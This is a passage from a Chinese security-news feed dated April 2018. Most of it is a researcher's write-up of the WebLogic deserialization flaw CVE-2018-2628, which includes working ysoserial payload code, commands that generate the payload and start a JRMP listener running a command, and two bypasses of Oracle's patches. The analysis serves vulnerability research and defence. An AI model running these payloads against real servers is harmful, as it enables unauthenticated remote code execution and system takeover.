News stories from Thursday 26 April, 2018

Favicon for 游侠安全网 06:59 亚马逊1300个IP地址被劫持2个小时用于窃取数字货币 » Post from 游侠安全网 Visit off-site link
未知攻击者为了窃取数字货币不惜动用了 BGP 路由广播劫持这个大杀器,攻击者的钱包地址目前拥有价值 1700 万美元的以太币,虽然这次行动窃取到的以太币并不多,但攻击者显然拥有惊人的可支配资源。本周二,UTC 时间上午 11:05 到下午 12:55 之间,攻击者 ...

News stories from Wednesday 25 April, 2018

Favicon for 游侠安全网 14:42 福昕阅读器曝多个安全漏洞,可导致远程任意代码执行 » Post from 游侠安全网 Visit off-site link
来自全球领先的网络解决方案提供商思科的Talos团队在上周四公布了存在于福昕PDF阅读器(Foxit PDF Reader)中的五个安全漏洞,其中有四个漏洞的CVSS 3.0得分都为8.8 ,这意味着它们都被分类为高危漏洞。
Favicon for 游侠安全网 13:45 金融行业数据治理与安全防护解决方案 » Post from 游侠安全网 Visit off-site link
(本文原创,源自微信公众号:世平信息,转载请注明来源“杭州世平信息科技有限公司”)
Favicon for 知道创宇 10:21 Weblogic 反序列化漏洞(CVE-2018-2628)漫谈 » Post from 知道创宇 Visit off-site link

作者:Badcode@知道创宇404实验室

漏洞简介

2018年4月18日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情况下通过T3协议对存在漏洞的 WebLogic 组件进行远程攻击,并可获取目标系统所有权限。

漏洞影响

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3

Weblogic 反序列化漏洞历程

这里简单的说下几个有公开利用方式的Weblogic反序列化漏洞。

CVE-2015-4852

2015年11月6日,FoxGlove Security 安全团队的 @breenmachine 发布的一篇博客中介绍了如何利用Java反序列化和 Apache Commons Collections 这一基础类库来攻击最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 这些大名鼎鼎的Java应用,实现远程代码执行。CVE-2015-4852就是利用 Weblogic 中的Commons Collections 库来实现远程代码执行。查看了CVE-2015-4852的补丁(p21984589_1036_Generic),发现 Weblogic 采用的黑名单的形式来修复这个漏洞。

但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击。而后的漏洞也证明了这一点。

CVE-2016-0638

Weblogic的反序列化的点有着三个,黑名单ClassFilter.class也作用于这三个位置。

  • weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
  • weblogic.rjvm.MsgAbbrevInputStream.class
  • weblogic.iiop.Utils.class

有人发现利用weblogic.jms.common.StreamMessageImplreadExternal()也是可以进行反序列化操作的,而且这个不受黑名单限制,所以可以绕过了之前的补丁。

CVE-2016-3510

​ 原理是将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject,然后再对 MarshalledObject进行序列化,生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 MarshalledObject对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。

CVE-2017-3248

​ Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。

​ 这个漏洞就是利用 RMI 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister,这将会序列化一个 RemoteObjectInvocationHandler,该RemoteObjectInvocationHandler使用UnicastRef建立到远端的 TCP 连接获取RMI registry。 此连接使用 JRMP 协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。

CVE-2018-2628 漏洞分析

​ 首先我们来看以下 CVE-2017-3248 这个漏洞的补丁(p24667634_1036_Generic),在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass,这个resolveProxyClass只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。

这里,换个RMI 接口类型即可绕过这个补丁。可以使用java.rmi.activation.Activator来替代java.rmi.registry.Registry生成payload,即可绕过这个判断限制。

仿照JRMPClient写一个JRMPClient2,重新编译。

public class JRMPClient2 extends PayloadRunner implements ObjectPayload {

    public Activator getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient2.class.getClassLoader(), new Class[] {
            Activator.class
        }, obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
        PayloadRunner.run(JRMPClient2.class, args);
    }
}

生成 payload:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient2 "192.168.177.1:1099" > p_client2

可以对比以下JRMPClientJRMPClient2 生成的 payload。

除了 RMI 接口不一样,其他都是一样的。

JRMPLister开启

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"

我测试的 Weblogic 版本是10.3.6.0.170117,即已修复了CVE-2017-3248漏洞,在我本地的环境中,CommonsCollections这个 payload 已经失效了。Weblogic 的commons-collections.jar版本已经升级,所以我这里 payload 用的是Jdk7u21(这个 payload 只有在 JRE 版本小于等于 1.7u21 才起作用)。在commons-collections.jar版本没有升级的 Weblogic 中,使用CommonsCollections 这个 payload 是可以的。

使用 t3 协议脚本发送 p_client2,可以看到JRMPLister有请求过来了,客户端命令也执行成功了。

作为对比,将JRMPClient生成的 p_client 也发送过去,可以看到报错信息Unauthorized proxy deserialization,正是黑名单拦截抛出的错误。

可见java.rmi.activation.Activator是绕过了CVE-2017-3248的补丁了。

另外一种绕过补丁的方式

这种方式是我在复现漏洞时尝试 payload 的时候发现的,绕过的方式和CVE-2016-0638有关。

StreamMessageImpl这个点在反序列化的时候没有resolveProxyClass检查。所以可以使用StreamMessageImplRemoteObjectInvocationHandler序列化,以此来绕过resolveProxyClass函数。相当于使用CVE-2016-0638的利用方式加上CVE-2017-3248的 payload 来绕过补丁。

JRMPClient生成的 payloadObject 用StreamMessageImpl封装生成新的 payload——p_stream。

public static Object streamMessageImpl(byte[] object) throws Exception {
        StreamMessageImpl streamMessage = new StreamMessageImpl();
        streamMessage.setDataBuffer(object, object.length);
        return streamMessage;
    }

使用脚本发送,可以看到,成功执行了命令。

CVE-2018-2628补丁分析

初步比对补丁(p27395085_1036_Generic),发现WeblogicFilterConfig.class的黑名单多了一个sun.rmi.server.UnicastRef

private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef"};

但是根据我的实际测试,命令还是可以执行成功,貌似补丁没起作用。

总结

​ 总的来说,Weblogic 反序列化漏洞就是在不停的修复-绕过-修复-绕过……最精彩的永远是下一个

参考链接

Favicon for 游侠安全网 09:24 【安全帮】Drupal发布Drupalgeddon2补丁 遭黑客继续攻击 » Post from 游侠安全网 Visit off-site link
黑客侵入网上商城窃7万余元获刑 自称“替天行道”远在贵州的男青年朱某在网上注册成为北京一家教育科技公司网上商城的会员,利用网站漏洞进入服务器后台,多次修改账户余额并提现,窃取7万余元。记者昨日获悉,西城法院以盗窃罪判处朱某有期徒刑一年六个月 ...
Favicon for 游侠安全网 06:57 NVIDIA Tegra芯片存漏洞 任天堂Switch主机破解漏洞披露日临近 » Post from 游侠安全网 Visit off-site link
发售首年就大获成功的任天堂新主机Switch采用了NVIDIA Tegra X1芯片,这为Switch迅速被破解埋下了隐患。女性黑客Kate Temkin宣布她利用NVIDIA Tegra X1芯片中的漏洞破解了Switch主机,而且这一漏洞存在于芯片的Bootrom中,设备出厂后无法通过补丁封堵。不 ...

News stories from Tuesday 24 April, 2018

Favicon for 游侠安全网 14:56 *CTF 2018国际赛落幕,上海交大0ops战队排行榜居第一 » Post from 游侠安全网 Visit off-site link
北京时间4月23上午9点第四届XCTF分站赛*CTF圆满落幕。*CTF由XCTF社区战队来自复旦大学的******(六星)战队主办,赛宁网安技术支持。比赛吸引了来自83个国家和地区的共计343支国内外战队参加,146支队伍得分,经过连续48小时的激烈比拼,上海交通大学的0o ...
Favicon for 游侠安全网 13:40 隐私保护风口已成,风险审计不可或缺 » Post from 游侠安全网 Visit off-site link
为期五天的美国RSA信息安全大会(简称RSA大会)已经落下帷幕,在有着“网络安全风向标”之称的创新沙盒环节,BigID从10个候选项目中脱颖而出,拔得头筹。BigID是一家在纽约与特拉维夫设有办事处的隐私保护公司,其企业隐私管理平台(数据驱动型的个人数据保护 ...
Favicon for 游侠安全网 09:36 【安全帮】黑客侵入网上商城窃7万余元获刑 自称“替天行道” » Post from 游侠安全网 Visit off-site link
FTC发电信诈骗警告:近几月已有21位华人被骗250万美元联邦贸易委员会(FTC)上周向生活在美国的华人社区发布警告,称近期发现了多起伪装成中国大使馆的诈骗电话。这些诈骗内容五花八门,有的是要求收件人都中国领事馆办公室领取包裹或文件,有的是提供人 ...
Favicon for 游侠安全网 07:01 僵尸网络正在积极利用 Drupal 的漏洞 » Post from 游侠安全网 Visit off-site link
上个月,开源内容管理系统 Drupal 发布了一则高危漏洞警告,基本上影响到所有的 Drupal 网站或超过 100 万网站。公告称,Drupal 7.x 和 8.x 的多个子系统内发现了一个远程代码执行漏洞,可能导致网站被完全入侵。奇虎 360 的研究人员报告,多个恶意程序正 ...

News stories from Monday 23 April, 2018

Favicon for 游侠安全网 09:36 【安全帮】“4.29首都网络安全日”最新议程一览 » Post from 游侠安全网 Visit off-site link
“4.29首都网络安全日”最新议程一览为着眼“建设网络强国”的战略目标和“京津冀协同发展”的决策部署,“4.29首都网络安全日”系列活动之“北京国际互联网博览会”(以下简称“CSA大会”) 将于4月26-28日在北京展览馆盛大举行。展会由北京市委网信办与北京市公安局 ...